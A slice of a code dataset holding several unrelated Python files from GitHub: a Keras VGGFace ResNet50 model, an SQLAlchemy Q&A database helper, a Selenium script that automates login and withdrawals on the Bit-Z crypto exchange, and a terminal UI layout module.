dict2)\n","repo_name":"mpaulweeks/fgc","sub_path":"py/test/global_integration.py","file_name":"global_integration.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"35"}
{"seq_id":"997963869","text":"from keras.layers import Flatten, Dense, Input, GlobalAveragePooling2D, \\\n    GlobalMaxPooling2D, Activation, Conv2D, MaxPooling2D, BatchNormalization, \\\n    AveragePooling2D, Reshape, Permute, multiply\nfrom keras_applications.imagenet_utils import _obtain_input_shape\n#from keras.applications.imagenet_utils import _obtain_input_shape\nfrom keras.utils import layer_utils\nfrom keras.utils.data_utils import get_file\nfrom keras import backend as K\nfrom keras_vggface import utils\nfrom keras.engine.topology import get_source_inputs\nimport warnings\nfrom keras.models import Model\nfrom keras import layers\n\nimport numpy as np\n\n\n\nV1_LABELS_PATH = 'https://github.com/rcmalli/keras-vggface/releases/download/v2.0/rcmalli_vggface_labels_v1.npy'\nV2_LABELS_PATH = 'https://github.com/rcmalli/keras-vggface/releases/download/v2.0/rcmalli_vggface_labels_v2.npy'\nRESNET50_WEIGHTS_PATH = 'https://github.com/rcmalli/keras-vggface/releases/download/v2.0/rcmalli_vggface_tf_resnet50.h5'\nRESNET50_WEIGHTS_PATH_NO_TOP = 'https://github.com/rcmalli/keras-vggface/releases/download/v2.0/rcmalli_vggface_tf_notop_resnet50.h5'\n\n\nVGGFACE_DIR = '.'\n\n\ndef preprocess_input(x, data_format=None, version=1):\n    x_temp = np.copy(x)\n    if data_format is None:\n        data_format = K.image_data_format()\n    assert data_format in {'channels_last', 'channels_first'}\n\n    if version == 1:\n        if data_format == 'channels_first':\n            x_temp = x_temp[:, ::-1, ...]\n            x_temp[:, 0, :, :] -= 93.5940\n            x_temp[:, 1, :, :] -= 104.7624\n            x_temp[:, 2, :, :] -= 129.1863\n        else:\n            x_temp = x_temp[..., ::-1]\n            x_temp[..., 0] -= 93.5940\n            x_temp[..., 1] -= 104.7624\n            x_temp[..., 2] -= 129.1863\n\n    elif version == 2:\n        if data_format == 'channels_first':\n            x_temp = x_temp[:, ::-1, ...]\n            x_temp[:, 0, :, :] -= 91.4953\n            x_temp[:, 1, :, :] -= 103.8827\n            x_temp[:, 2, :, :] -= 131.0912\n        else:\n            x_temp = x_temp[..., ::-1]\n            x_temp[..., 0] -= 91.4953\n            x_temp[..., 1] -= 103.8827\n            x_temp[..., 2] -= 131.0912\n    else:\n        raise NotImplementedError\n\n    return x_temp\n\n\ndef decode_predictions(preds, top=5):\n    LABELS = None\n    if len(preds.shape) == 2:\n        if preds.shape[1] == 2622:\n            fpath = get_file('rcmalli_vggface_labels_v1.npy',\n                             V1_LABELS_PATH,\n                             cache_subdir=VGGFACE_DIR)\n            LABELS = np.load(fpath)\n        elif preds.shape[1] == 8631:\n            fpath = get_file('rcmalli_vggface_labels_v2.npy',\n                             V2_LABELS_PATH,\n                             cache_subdir=VGGFACE_DIR)\n            LABELS = np.load(fpath)\n        else:\n            raise ValueError('`decode_predictions` expects '\n                             'a batch of predictions '\n                             '(i.e. a 2D array of shape (samples, 2622)) for V1 or '\n                             '(samples, 8631) for V2.'\n                             'Found array with shape: ' + str(preds.shape))\n    else:\n        raise ValueError('`decode_predictions` expects '\n                         'a batch of predictions '\n                         '(i.e. a 2D array of shape (samples, 2622)) for V1 or '\n                         '(samples, 8631) for V2.'\n                         'Found array with shape: ' + str(preds.shape))\n    results = []\n    for pred in preds:\n        top_indices = pred.argsort()[-top:][::-1]\n        result = [[str(LABELS[i].encode('utf8')), pred[i]] for i in top_indices]\n        result.sort(key=lambda x: x[1], reverse=True)\n        results.append(result)\n    return results\n\n\ndef resnet_identity_block(input_tensor, kernel_size, filters, stage, block,\n                          bias=False):\n    filters1, filters2, filters3 = filters\n    if K.image_data_format() == 'channels_last':\n        bn_axis = 3\n    else:\n        bn_axis = 1\n    conv1_reduce_name = 'conv' + str(stage) + \"_\" + str(block) + \"_1x1_reduce\"\n    conv1_increase_name = 'conv' + str(stage) + \"_\" + str(\n        block) + \"_1x1_increase\"\n    conv3_name = 'conv' + str(stage) + \"_\" + str(block) + \"_3x3\"\n\n    x = Conv2D(filters1, (1, 1), use_bias=bias, name=conv1_reduce_name)(\n        input_tensor)\n    x = BatchNormalization(axis=bn_axis, name=conv1_reduce_name + \"/bn\")(x)\n    x = Activation('relu')(x)\n\n    x = Conv2D(filters2, kernel_size, use_bias=bias,\n               padding='same', name=conv3_name)(x)\n    x = BatchNormalization(axis=bn_axis, name=conv3_name + \"/bn\")(x)\n    x = Activation('relu')(x)\n\n    x = Conv2D(filters3, (1, 1), use_bias=bias, name=conv1_increase_name)(x)\n    x = BatchNormalization(axis=bn_axis, name=conv1_increase_name + \"/bn\")(x)\n\n    x = layers.add([x, input_tensor])\n    x = Activation('relu')(x)\n    return x\n\n\ndef resnet_conv_block(input_tensor, kernel_size, filters, stage, block,\n                      strides=(2, 2), bias=False):\n    filters1, filters2, filters3 = filters\n    if K.image_data_format() == 'channels_last':\n        bn_axis = 3\n    else:\n        bn_axis = 1\n    conv1_reduce_name = 'conv' + str(stage) + \"_\" + str(block) + \"_1x1_reduce\"\n    conv1_increase_name = 'conv' + str(stage) + \"_\" + str(\n        block) + \"_1x1_increase\"\n    conv1_proj_name = 'conv' + str(stage) + \"_\" + str(block) + \"_1x1_proj\"\n    conv3_name = 'conv' + str(stage) + \"_\" + str(block) + \"_3x3\"\n\n    x = Conv2D(filters1, (1, 1), strides=strides, use_bias=bias,\n               name=conv1_reduce_name)(input_tensor)\n    x = BatchNormalization(axis=bn_axis, name=conv1_reduce_name + \"/bn\")(x)\n    x = Activation('relu')(x)\n\n    x = Conv2D(filters2, kernel_size, padding='same', use_bias=bias,\n               name=conv3_name)(x)\n    x = BatchNormalization(axis=bn_axis, name=conv3_name + \"/bn\")(x)\n    x = Activation('relu')(x)\n\n    x = Conv2D(filters3, (1, 1), name=conv1_increase_name, use_bias=bias)(x)\n    x = BatchNormalization(axis=bn_axis, name=conv1_increase_name + \"/bn\")(x)\n\n    shortcut = Conv2D(filters3, (1, 1), strides=strides, use_bias=bias,\n                      name=conv1_proj_name)(input_tensor)\n    shortcut = BatchNormalization(axis=bn_axis, name=conv1_proj_name + \"/bn\")(\n        shortcut)\n\n    x = layers.add([x, shortcut])\n    x = Activation('relu')(x)\n    return x\n\n\ndef RESNET50(include_top=True, weights='vggface',\n             input_tensor=None, input_shape=None,\n             pooling=None,\n             classes=8631):\n    input_shape = _obtain_input_shape(input_shape,\n                                      default_size=224,\n                                      min_size=197,\n                                      data_format=K.image_data_format(),\n                                      require_flatten=include_top,\n                                      weights=weights)\n\n    if input_tensor is None:\n        img_input = Input(shape=input_shape)\n    else:\n        if not K.is_keras_tensor(input_tensor):\n            img_input = Input(tensor=input_tensor, shape=input_shape)\n        else:\n            img_input = input_tensor\n    if K.image_data_format() == 'channels_last':\n        bn_axis = 3\n    else:\n        bn_axis = 1\n\n    x = Conv2D(\n        64, (7, 7), use_bias=False, strides=(2, 2), padding='same',\n        name='conv1/7x7_s2')(img_input)\n    x = BatchNormalization(axis=bn_axis, name='conv1/7x7_s2/bn')(x)\n    x = Activation('relu')(x)\n    x = MaxPooling2D((3, 3), strides=(2, 2))(x)\n\n    x = resnet_conv_block(x, 3, [64, 64, 256], stage=2, block=1, strides=(1, 1))\n    x = resnet_identity_block(x, 3, [64, 64, 256], stage=2, block=2)\n    x = resnet_identity_block(x, 3, [64, 64, 256], stage=2, block=3)\n\n    x = resnet_conv_block(x, 3, [128, 128, 512], stage=3, block=1)\n    x = resnet_identity_block(x, 3, [128, 128, 512], stage=3, block=2)\n    x = resnet_identity_block(x, 3, [128, 128, 512], stage=3, block=3)\n    x = resnet_identity_block(x, 3, [128, 128, 512], stage=3, block=4)\n\n    x = resnet_conv_block(x, 3, [256, 256, 1024], stage=4, block=1)\n    x = resnet_identity_block(x, 3, [256, 256, 1024], stage=4, block=2)\n    x = resnet_identity_block(x, 3, [256, 256, 1024], stage=4, block=3)\n    x = resnet_identity_block(x, 3, [256, 256, 1024], stage=4, block=4)\n    x = resnet_identity_block(x, 3, [256, 256, 1024], stage=4, block=5)\n    x = resnet_identity_block(x, 3, [256, 256, 1024], stage=4, block=6)\n\n    x = resnet_conv_block(x, 3, [512, 512, 2048], stage=5, block=1)\n    x = resnet_identity_block(x, 3, [512, 512, 2048], stage=5, block=2)\n    x = resnet_identity_block(x, 3, [512, 512, 2048], stage=5, block=3)\n\n    x = AveragePooling2D((7, 7), name='avg_pool')(x)\n\n    if include_top:\n        x = Flatten()(x)\n        x = Dense(classes, activation='softmax', name='classifier')(x)\n    else:\n        if pooling == 'avg':\n            x = GlobalAveragePooling2D()(x)\n        elif pooling == 'max':\n            x = GlobalMaxPooling2D()(x)\n\n    # Ensure that the model takes into account\n    # any potential predecessors of `input_tensor`.\n    if input_tensor is not None:\n        inputs = get_source_inputs(input_tensor)\n    else:\n        inputs = img_input\n    # Create model.\n    model = Model(inputs, x, name='vggface_resnet50')\n\n    # load weights\n    if weights == 'vggface':\n        if include_top:\n            weights_path = get_file('rcmalli_vggface_tf_resnet50.h5',\n                                    utils.RESNET50_WEIGHTS_PATH,\n                                    cache_subdir=utils.VGGFACE_DIR)\n        else:\n            weights_path = get_file('rcmalli_vggface_tf_notop_resnet50.h5',\n                                    utils.RESNET50_WEIGHTS_PATH_NO_TOP,\n                                    cache_subdir=utils.VGGFACE_DIR)\n        model.load_weights(weights_path)\n        if K.backend() == 'theano':\n            layer_utils.convert_all_kernels_in_model(model)\n            if include_top:\n                maxpool = model.get_layer(name='avg_pool')\n                shape = maxpool.output_shape[1:]\n                dense = model.get_layer(name='classifier')\n                layer_utils.convert_dense_weights_data_format(dense, shape,\n                                                              'channels_first')\n\n        if K.image_data_format() == 'channels_first' and K.backend() == 'tensorflow':\n            warnings.warn('You are using the TensorFlow backend, yet you '\n                          'are using the Theano '\n                          'image data format convention '\n                          '(`image_data_format=\"channels_first\"`). '\n                          'For best performance, set '\n                          '`image_data_format=\"channels_last\"` in '\n                          'your Keras config '\n                          'at ~/.keras/keras.json.')\n    elif weights is not None:\n        model.load_weights(weights)\n\n    return model\n\n\ndef BioHashFace(include_top=True, model='vgg16', weights='vggface',\n            input_tensor=None, input_shape=None,\n            pooling=None,\n            classes=None):\n\n    if weights not in {'vggface', None}:\n        raise ValueError('The `weights` argument should be either '\n                         '`None` (random initialization) or `vggface`'\n                         '(pre-training on VGGFace Datasets).')\n\n    if classes is None:\n        classes = 8631\n\n    if weights == 'vggface' and include_top and classes != 8631:\n        raise ValueError(\n            'If using `weights` as vggface original with `include_top`'\n            ' as true, `classes` should be 8631')\n\n    return RESNET50(include_top=include_top, input_tensor=input_tensor,\n                    input_shape=input_shape, pooling=pooling,\n                    weights=weights,\n                    classes=classes)\n","repo_name":"josebetomex/FaceRecognition_Ethereum_protocol","sub_path":"resnetBioHashModel.py","file_name":"resnetBioHashModel.py","file_ext":"py","file_size_in_byte":11747,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"35"}
{"seq_id":"1682423607","text":"n = input()\nlst = []\nfor i in n.split():\n    lst.append(int(i))\nrule_number = lst[0]\nstart_date = lst[1]\nend_date = lst[2]\ndef date(self):\n    year = self[:3]\n    month = self[3:7]\n    day = self[7:10]","repo_name":"Zu3zz/Leetcode","sub_path":"ccf/201712_3.py","file_name":"201712_3.py","file_ext":"py","file_size_in_byte":201,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"35"}
{"seq_id":"71435179622","text":"import time\r\n\r\nfrom sqlalchemy import create_engine\r\nfrom sqlalchemy.orm import sessionmaker\r\n\r\nfrom models import Base, User, Question, Answer\r\n\r\nengine = create_engine('sqlite:///database.db?check_same_thread=False')\r\nBase.metadata.create_all(engine)\r\nDBSession = sessionmaker(bind=engine)\r\nsession = DBSession()\r\n\r\n\r\n# user functions:\r\n\r\n\r\ndef get_user_by_name(name):\r\n    user = session.query(User).filter_by(username=name).first()\r\n    return user\r\n\r\n\r\ndef get_user_by_id(user_id):\r\n    user = session.query(User).filter_by(user_id=user_id).first()\r\n    return user\r\n\r\n\r\ndef query_all(db):\r\n    return session.query(db).all()\r\n\r\n\r\ndef add_user(username, psw, vol=False):\r\n    if get_user_by_name(username) is None:\r\n        user = User(username=username,\r\n                    password=psw,\r\n                    is_volunteer=vol)\r\n        session.add(user)\r\n        try:\r\n            session.commit()\r\n        except:\r\n            session.rollback()\r\n            raise\r\n        return\r\n    return False\r\n\r\n\r\ndef delete_user(username):\r\n    get_user_by_name(username).delete()\r\n    try:\r\n        session.commit()\r\n    except:\r\n        session.rollback()\r\n        raise\r\n\r\n\r\n# question database\r\n\r\ndef get_question(question_id):\r\n    question = session.query(Question).filter_by(question_id=question_id).first()\r\n    return question\r\n\r\n\r\ndef delete_question(question_id):\r\n    if get_question(question_id) is None:\r\n        return False\r\n    session.delete(get_question(question_id))\r\n    try:\r\n        session.commit()\r\n    except:\r\n        session.rollback()\r\n        raise\r\n\r\n\r\ndef add_question(title, details, user, link=None):\r\n    new_question = Question(title=title,\r\n                            details=details,\r\n                            image_link=link,\r\n                            asker=user)\r\n    session.add(new_question)\r\n    try:\r\n        session.commit()\r\n    except:\r\n        session.rollback()\r\n        raise\r\n\r\n\r\n# answer function\r\n\r\n\r\ndef get_answer(question, user):\r\n    answers = user.user_answers\r\n    for ans in answers:\r\n        if ans.parent_question == question:\r\n            return ans\r\n    return False\r\n\r\n\r\ndef add_answer(reply, user, question):\r\n    new_answer = Answer(reply=reply, answerer=user, parent_quest=question)\r\n    session.add(new_answer)\r\n    try:\r\n        session.commit()\r\n    except:\r\n        session.rollback()\r\n        raise\r\n","repo_name":"JihadZoabi/MEET_Y2YL","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":2379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29525155627","text":"#!/usr/local/bin/python3\n\nimport ccxt, pyotp\nfrom driver_information import *\n\n#_URLS\n\nclass exchange():\n\tdef __init__(self,driver,logged_in=False):\n\n\t\tself.login_site = 'https://u.bit-z.com/login'\n\t\tself.google_sender = \"donotreply@push.bitzmail.com\"\n\t\tgoogle = ''\n\n\t\tself.exchange = ccxt.bitz()\n\n\t\tself.driver = driver\n\n\t\tself.wait = WebDriverWait(self.driver, 20)\n\n\t\tself.totp = pyotp.TOTP(google)\n\n\t\tself.cache_totp = None\n\n\t\tself.verification_pause = None\n\n\t\tself.logged_in = logged_in\n\n\t\tself.stop_thread = 'OFF'\n\n\t\tthreading.Thread(target=self.verification_check).start()\n\n\t\t\n\tdef verification_check(self):\n\n\t\twhile True:\n\n\t\t\tt0 = time.time()\n\t\t\twhile (time.time()-t0) < 15:\n\t\t\t\ttime.sleep(1)\n\t\t\t\tif self.stop_thread == 'ON':\n\t\t\t\t\tself.stop_thread = 'DONE'\n\t\t\t\t\treturn None\n\n\t\t\t#print(f'CHECKING! {self.exchange.id}')\n\t\t\tif self.verification_pause == True:\n\t\t\t\tchump.send_message(f\"CHECK SLIDER! Exchange: {self.exchange.id.upper()} !\")\n\t\t\t\t\n\n\tdef login_check(self):\n\t\tprint('Login check?')\n\t\twait = WebDriverWait(self.driver,5)\n\t\ttime.sleep(5)\n\t\tsoup = reload(self.driver)\n\n\t\ttry:\n\t\t\twait.until(EC.element_to_be_clickable((By.XPATH,get_xpath(soup.find('input',{'placeholder': 'Phone number'})))))\n\t\texcept:\n\t\t\ttry:\n\t\t\t\twait.until(EC.element_to_be_clickable((By.XPATH,get_xpath(soup.find('input',{'placeholder': 'Email'})))))\n\t\t\texcept:\n\t\t\t\tprint('FAILED LOGIN CHECK!')\n\t\t\t\traise\n\n\t\tprint('PASSED LOGIN CHECK!')\n\n\t@retryit\n\tdef login(self):\t\n\n\t\tself.driver.get(self.login_site)\n\t\t\n\t\ttime.sleep(1)\n\n\t\tsoup = reload(self.driver)\n\n\t\t#RANDOMBUTTON\n\t\ttry:\n\t\t\tforce_click(self.wait.until(EC.element_to_be_clickable((By.XPATH,get_xpath(findbytext(soup,'span','Email')[0])))))\n\t\texcept:\n\t\t\tpass\n\n\t\ttime.sleep(0.2)\n\t\tsoup = reload(self.driver)\n\n\t\tself.driver.find_element_by_xpath(get_xpath(soup.find('input',{'placeholder': 'Email'}))).send_keys('*')\n\t\tself.driver.find_element_by_xpath(get_xpath(soup.find('input',{'placeholder': 'Password'}))).send_keys('*')\t\t\n\t\ttime.sleep(1)\n\n\t\tself.driver.find_element_by_xpath(get_xpath(soup.find('div',{'id': 'captcha-button'}))).click()\n\n\t\tself.verification_pause = True\n\t\tprint(\"[SLIDING VERIFICATION NEEDED]\")\n\n\t\tprint('WOW1')\n\t\tself.driver.set_page_load_timeout(5)\n\t\tprint('WOW2')\n\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\tsoup = reload(self.driver)\n\t\t\t\t#WAIT FOR THE SENDCODE BUTTON\n\t\t\t\tgoogle_bar = WebDriverWait(self.driver,3).until(EC.presence_of_element_located((By.XPATH,get_xpath(soup.find('input',{'placeholder': 'Google Authentication Code'})))))\n\t\t\t\tbreak\n\t\t\texcept:\n\t\t\t\tcontinue\n\n\t\tprint('WOW3')\n\n\t\tself.driver.set_page_load_timeout(60)\n\n\t\tself.verification_pause = False\n\n\t\tself.cache_totp = self.totp.now()\n\t\tgoogle_bar.send_keys(self.cache_totp)\n\t\t\n\t\tsoup = reload(self.driver)\n\n\t\t#Confirm Button\n\t\ttry:\n\t\t\tself.driver.find_element_by_xpath(get_xpath(findbytext(soup.find('div',{'class': 'field-item-submit'}),'div','Sign In'))).click()\n\t\texcept:\n\t\t\tpass\n\n\t\ttime.sleep(3)\n\n\t\tself.logged_in = True\n\n\t\t\t\n\t@retryit\t\t\t\n\tdef withdraw(self,currency,amount,address,tag):\n\n\t\tself.mail = google_email()\n\t\t\n\t\tamount = str(amount)\n\n\t\turl = f\"https://u.bit-z.com/assets/withdraw?coin={currency.lower()}&withType=normal\"\n\n\t\tself.driver.get(url)\n\n\t\tcreate_mode = None\n\n\t\ttime.sleep(5)\n\t\tsoup = reload(self.driver)\n\n\t\t#dropdown_menu\n\t\tdropdown_test = soup.find('input',{'placeholder': 'Select address'})\n\t\t\n\t\tif dropdown_test == None:\n\t\t\tcreate_mode = True\n\t\t\tskip_dropdown = True\n\t\t\tdropdown_xpath = get_xpath(soup.find('div',{'class':'add-btn-wrap'}))\n\t\telse:\n\t\t\tdropdown_xpath = get_xpath(dropdown_test)\n\t\t\tskip_dropdown = False\n\n\t\tdropdown = WebDriverWait(self.driver, 5).until(EC.element_to_be_clickable((By.XPATH,dropdown_xpath)))\n\t\tself.driver.execute_script(\"arguments[0].scrollIntoView();\", dropdown)\n\t\tself.driver.execute_script(\"window.scrollBy(0, -100);\")\n\n\t\tforce_click(dropdown)\n\n\t\tif create_mode == None:\n\t\t\taddress_list = soup.find('ul',{'class': 'el-scrollbar__view el-select-dropdown__list'}).find_all('li')\n\t\t\ttime.sleep(5)\n\t\t\tsoup = reload(self.driver)\n\t\t\tif address in soup.text:\n\t\t\t\tcreate_mode = False\n\t\t\telse:\n\t\t\t\tcreate_mode = True\n\n\t\tif create_mode == True:\n\t\t\timport random\n\n\t\t\tif skip_dropdown == False:\n\t\t\t\tcircle_button = get_xpath(soup.find('div',{'class':'add-btn-wrap'}))\n\n\t\t\t\tself.driver.find_element_by_xpath(circle_button).click()\n\n\t\t\ttime.sleep(2)\n\t\t\tsoup = reload(self.driver)\n\n\n\t\t\t#name\n\t\t\tname_input = findbytext(soup.find('div',{'class':'dialog-content verify-dialog'}),'label','Address Remark')[0].parent.input\n\t\t\tself.wait.until(EC.presence_of_element_located((By.XPATH,get_xpath(name_input)))).send_keys(str(random.random()))\n\n\t\t\t#withdrawal_address\n\t\t\twithdrawal_input = findbytext(soup.find('div',{'class':'dialog-content verify-dialog'}),'label','Withdrawal Address')[0].parent.input\n\t\t\tself.driver.find_element_by_xpath(get_xpath(withdrawal_input)).send_keys(address)\n\n\t\t\t#trade_password\n\t\t\tpassword_input = findbytext(soup.find('div',{'class':'dialog-content verify-dialog'}),'label','Trade Password')[-1].parent.find('div',{'class':'el-input'}).input\n\n\t\t\tself.driver.find_element_by_xpath(get_xpath(password_input)).send_keys('*')\n\n\t\t\ttime.sleep(0.2)\n\n\t\t\tself.driver.find_element_by_xpath(get_xpath(soup.find('div',{'class':'z-ui-button primary'}))).click()\n\n\t\t\ttime.sleep(3)\n\n\t\t\tsoup = reload(self.driver)\n\n\t\t\tg_input = findbytext(soup,'label','Google Authentication Code')[-1].parent.find('div',{'class':'el-input'}).input\n\n\t\t\twhile self.totp.now() == self.cache_totp:\n\t\t\t\tprint('Waiting for new verification code...')\n\t\t\t\ttime.sleep(5)\n\n\t\t\tself.cache_totp = self.totp.now()\n\n\t\t\tself.driver.find_element_by_xpath(get_xpath(g_input)).send_keys(self.cache_totp)\n\n\t\t\tcontinue_button = findbytext(g_input.parent.parent.parent.parent.parent.parent.parent,'div','OK')[-1]\n\n\t\t\tself.driver.find_element_by_xpath(get_xpath(continue_button)).click()\n\t\t\t\n\t\t\tdropdown_xpath = get_xpath(reload(self.driver).find('input',{'placeholder': 'Select address'}))\n\n\t\t\tforce_click(self.wait.until(EC.element_to_be_clickable((By.XPATH,dropdown_xpath))))\n\n\n\t\twhile address not in reload(self.driver).find('ul',{'class': 'el-scrollbar__view el-select-dropdown__list'}).text:\n\t\t\tprint('Waiting!')\n\t\t\ttime.sleep(1)\n\n\t\tsoup = reload(self.driver)\n\t\taddress_list = soup.find('ul',{'class': 'el-scrollbar__view el-select-dropdown__list'}).find_all('li')\n\n\t\tprint(address_list)\n\n\n\n\t\tfor i,entry in enumerate(address_list):\n\t\t\tprint(i)\n\t\t\tprint(address.lower())\n\t\t\tprint(entry.text.lower())\t\t\t\n\t\t\tif address.strip().lower() in entry.text.strip().lower():\n\t\t\t\tcircle_button = get_xpath(entry)\n\t\t\t\tbreak\n\n\t\tcircle_element = self.driver.find_element_by_xpath(circle_button)\n\n\t\tself.driver.execute_script(\"arguments[0].scrollIntoView();\", circle_element)\n\n\t\tcircle_element.click()\n\t\t\n\t\ttime.sleep(2)\n\n\t\tself.wait.until(EC.element_to_be_clickable((By.XPATH,get_xpath(soup.find('label', {'for': 'number'}).parent.input)))).send_keys(amount)\n\n\t\tif tag!= None:\n\t\t\tself.wait.until(EC.element_to_be_clickable((By.XPATH,get_xpath(soup.find('label', {'for': 'memo'}).parent.input)))).send_keys(tag)\n\n\t\tself.wait.until(EC.element_to_be_clickable((By.XPATH,get_xpath(soup.find('input', {'type': 'password', 'name': 'password', 'id': 'hidepassword'}))))).send_keys('*')\n\t\t\n\t\ttime.sleep(1)\n\t\tself.driver.find_element_by_xpath(get_xpath(soup.find('div', {'type': 'button','class': 'z-ui-button primary withdraw-button'}))).click()\n\n\t\tgoogle_sele = soup.find('label', {'for': 'google_code'}).parent.input\n\t\tgoogle_bar = self.wait.until(EC.element_to_be_clickable((By.XPATH,get_xpath(google_sele))))\n\n\t\twhile self.totp.now() == self.cache_totp:\n\t\t\tprint('Waiting for new verification code...')\n\t\t\ttime.sleep(5)\n\n\t\tself.cache_totp = self.totp.now()\n\n\t\tgoogle_bar.send_keys(self.cache_totp)\n\n\t\toriginal_list = self.mail.the_count(self.google_sender)\n\t\t\n\t\tsoup = reload(self.driver)\n\t\t\n\t\t#button_xpath = get_xpath(findbytext(soup.find('div',{'class': 'z-dialog dialog-fade-in'}), 'div', 'OK')[1])\n\n\t\tbutton_xpath = get_xpath(findbytext(google_sele.parent.parent.parent.parent.parent.parent.parent,'div','OK')[-1])\n\n\t\tself.driver.find_element_by_xpath(button_xpath).click()\n\n\t\tt0 = time.time()\n\t\twhile True:\n\t\t\tif (time.time()-t0) > 300:\n\t\t\t\traise TimeoutError('Email Shit.')\n\n\t\t\tnew_list = self.mail.the_count(self.google_sender)\n\n\t\t\tif len(original_list) == len(new_list):\n\t\t\t\tprint('Waiting for updated email...')\n\t\t\t\ttime.sleep(5)\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tbreak\n\n\t\tlatest = self.mail.latest_email(self.google_sender,new_list[-1].encode())\n\n\t\tconfirm_link = bs4.BeautifulSoup(latest,\"lxml\").a.get('href')\n\n\t\tself.driver.get(confirm_link)\n\t\t\n\nif __name__ == '__main__':\n\t\n\toriginal = open_chrome()\n\ts = exchange(original)\n\ts.login()\n\t#s.withdraw('ABBC', 181.471, 'bittrexacct1', 'ea090ea28cba42a6a42')\n\t\n\t#print(s.balance('BTC'))","repo_name":"karlandoh/crypto-trade-algorithm-ARBY","sub_path":"arbySELENIUM/bitz.py","file_name":"bitz.py","file_ext":"py","file_size_in_byte":8755,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"8839273516","text":"from collections import namedtuple\n\nBounds = namedtuple('Bounds', 'width height')\n\nPosition = namedtuple('Position', 'vertical horizontal')\n\nclass Section:\n    \"\"\" An organizational class, helps define the structure of View\n\n    Args:\n        bounds: A tuple-like, containing width and height of the section, can be formatted either\n            as an integer pair, or a pair of strings representing percentages example:\n            ``(25, 40)`` or ``('100%', '50%')``\n\n        positioning: A tuple-like, containing a pair of strings describing how the Section\n            should be positioned. `left`, `centered`, `right` are the three valid options\n            for horizontal positioning. `top`, `centered`, 'bottom' are the three valid\n            options for vertical positioning.\n            example: `('left', 'centered')` or as a namedtuple:\n                     Position(vertical='bottom', horizontal='right')\n\n        view_object: either a Text or MultiText view_object (this is what actually gets\n            rendered), the Renderer handles all the bounds specifying in the view_object call,\n            so only parameters like text, and justify are appropriate.\n\n        styles: a list of styles to apply to the view_object\n\n    Returns: an initialized Section object\n    \"\"\"\n\n    def __init__(self, bounds=(), positioning=None, view_object=None, styles=[]):\n        self.bounds = bounds\n        self.positioning = positioning\n        self.view_object = view_object\n        self.styles = styles\n\n    def __bool__(self):\n        if not self.bounds and not self.positioning and not self.view_object and not self.styles:\n            # Case where all things are Falsey\n            return False\n        else:\n            return True\n\n    def __repr__(self):\n        return 'Section(bounds=%r, positioning=%r, view_object=%r, styles=%r)' % (\n            self.bounds, self.positioning, self.view_object, self.styles)\n\n\nclass View:\n    \"\"\" Views are an organizational structure that contain all the view objects.\n\n    Args:\n        view_dict: a well formed dictionary describing the components of the view to create\n\n    Views can be constructed piece wise by setting individual properties, or they can\n    be constructed by passing a well formed view dict to the constructor.\n\n    Fields are filed with a section (header, footer) a list of sections (body), or a dictionary (\n    util), if they are not filled out will be set to False-y values.\n\n    Views contain four main sections:\n        * header\n            * headers are attached to the top of the terminal, and usually 1 cell tall\n        * body\n            * bodies are in the middle and take up the majority of the terminal, bodies\n            can contain multiple view objects in a list. Each view object is treated\n            as its own section with bounds, positioning, the view_object itself and styles.\n        * footer\n            * footers are like headers, but attached to the bottom of the terminal\n        * util\n            * a dictionary for storing extra information\n\n    The three renderable sections (header, body, footer) have a styles attribute, which\n    is a list of 'styles' (borders, colors, etc) to apply to that section.\n\n    Views can repr themselves into a valid view dict.\n\n    \"\"\"\n\n    def __init__(self, view_dict=None):\n        self.header = Section()  # create an empty Section\n        self.body = []  # empty list for holding Sections\n        self.footer = Section()\n        self.util = {}\n        if view_dict:\n            # check to see if there's an item, then assign it if it's there\n            header = view_dict.get('header', False)\n            if header:\n                h_bounds = header.get('bounds', False)\n                if h_bounds:\n                    self.header.bounds = h_bounds\n\n                h_view_object = header.get('view_object', False)\n                if h_view_object:\n                    self.header.view_object = h_view_object\n\n                # header might not have positioning, but better safe than sorry\n                h_positioning = header.get('positioning', False)\n                if h_positioning:\n                    self.header.positioning = h_positioning\n\n                h_styles = header.get('styles', False)\n                if h_styles:\n                    self.header.styles.extend(h_styles)\n\n            # generate a list of body Sections\n            body_in_dict = view_dict.get('body', False)\n            if body_in_dict:\n                # handle the case where body_in_dict is just a single item\n                if not isinstance(body_in_dict, (list, tuple, set)):\n                    body_list = [body_in_dict]\n                else:\n                    body_list = body_in_dict\n                for body_element in body_list:\n                    b_bounds = body_element.get('bounds', ())\n                    b_view_object = body_element.get('view_object', None)\n                    b_positioning = body_element.get('positioning', None)\n                    b_styles = body_element.get('styles', [])\n                    s = Section(b_bounds, b_positioning, b_view_object, b_styles)\n                    self.body.append(s)\n\n            footer = view_dict.get('footer', False)\n            if footer:\n                f_bounds = footer.get('bounds', False)\n                if f_bounds:\n                    self.footer.bounds = f_bounds\n\n                f_view_object = footer.get('view_object', False)\n                if f_view_object:\n                    self.footer.view_object = f_view_object\n\n                f_positioning = footer.get('positioning', False)\n                if f_positioning:\n                    self.footer.positioning = f_positioning\n\n                f_styles = footer.get('styles', False)\n                if f_styles:\n                    self.footer.styles.extend(f_styles)\n\n            util = view_dict.get('util', False)\n            if util:\n                self.util = util\n\n    def __iter__(self):\n        \"\"\" Iterate through all the contained view_objects\n\n        Returns: tuple: (view_object.as_cells, bounds)\n\n        \"\"\"\n","repo_name":"jbwincek/Plie","sub_path":"plie/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":6090,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
